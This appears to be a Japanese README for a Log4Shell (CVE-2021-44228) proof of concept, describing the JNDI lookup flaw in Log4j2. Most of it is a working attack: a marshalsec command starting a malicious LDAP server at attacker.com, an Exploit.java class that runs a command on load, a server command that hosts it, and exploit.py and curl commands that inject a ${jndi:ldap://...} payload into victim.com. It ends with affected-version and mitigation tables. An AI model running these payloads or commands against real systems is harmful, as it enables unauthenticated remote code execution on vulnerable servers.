
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 CRITICAL | CWE-502: 信頼されていないデータのデシリアライゼーション | CWE-917: 式言語インジェクションの不適切な無害化
Log4Shell (CVE-2021-44228) は、2020年代でおそらく最も深刻な脆弱性であり、Apache Log4j2 バージョン 2.0 から 2.14.1 に影響を与えます。2021年11月に Alibaba Cloud Security の Chen Zhaojun によって発見され、2021年12月9日に公開されたこの脆弱性は、世界中の数億台のサーバー上で認証なしのリモートコード実行を可能にします。
この脆弱性は、Log4j2 の JNDI(Java Naming and Directory Interface)ルックアップ機能に起因します。この機能は、ログメッセージ内で ${jndi:ldap://attacker.com/a} のような任意のルックアップ文字列を許可します。このようなパターンを含むユーザー制御の文字列がログに記録されると、Log4j2 は JNDI ルックアップを実行し、リモートの Java クラスをロードして実行することができます。
Log4j2 は「Message Lookup」と呼ばれる機能を導入しました。これは、ログメッセージ内の ${...} パターンをさまざまなソース(JNDI、環境変数、システムプロパティなど)の値に置き換えます。JndiLookup クラス(org.apache.logging.log4j.core.lookup.JndiLookup)は、適切なサニタイズなしに攻撃者が制御する文字列に対して InitialContext.lookup() を呼び出します。
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
lookup() メソッドは javax.naming.InitialContext.lookup() に委譲し、LDAP、RMI、DNS、CORBA サーバーからリモートオブジェクトをロードできます。
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
marshalsec を使用して悪意のある LDAP サーバーを起動します:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
または HTTP ヘッダー経由:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
同梱の exploit.py は以下を提供します:
| バージョン | 状態 |
|---|
| Log4j 2.0 – 2.14.1 | 脆弱 |
| Log4j 2.15.0-rc1 | 部分的な修正(CVE-2021-45046 のバイパス) |
| Log4j 2.15.0 | 限定的な修正(デフォルトで JNDI を無効化、ルックアップを制限) |
| Log4j 2.16.0 | JNDI を無効化、Message Lookups を削除 |
| Log4j 2.17.0 | 2.x 向けの最終修正(CVE-2021-44832) |
| Log4j 1.x | 直接の影響なし(異なるコードベース) |
| アプローチ | 詳細 |
|---|
| Log4j のアップグレード | 2.17.0+(2.x)または 2.12.4+(Java 7)へ更新 |
| JVM フラグ | -Dlog4j2.formatMsgNoLookups=true |
| JndiLookup の削除 | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| WAF ルール | リクエスト内の ${jndi: パターンをブロック |
| ネットワーク制御 | 信頼されていないサーバーへの外向き LDAP/RMI をブロック |